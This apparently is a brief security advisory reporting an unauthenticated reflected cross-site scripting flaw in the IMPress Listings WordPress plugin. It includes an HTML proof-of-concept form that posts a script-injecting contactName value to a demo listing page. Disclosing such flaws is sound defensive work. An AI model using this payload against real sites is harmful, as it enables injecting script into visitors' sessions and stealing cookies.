The IMPress Listings WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability.
<html>
<head><title>IMPress Listings XSS Demo</title></head>
<body>
<form action="http://demo.wp-listings.com/listings/1048-cherrywood-dr/" method="POST">
<input type=hidden name=contactName value='"><script>alert(document.cookie);</script><"'>
<input type=submit value="Test XSS">
</form>
</body>
</html>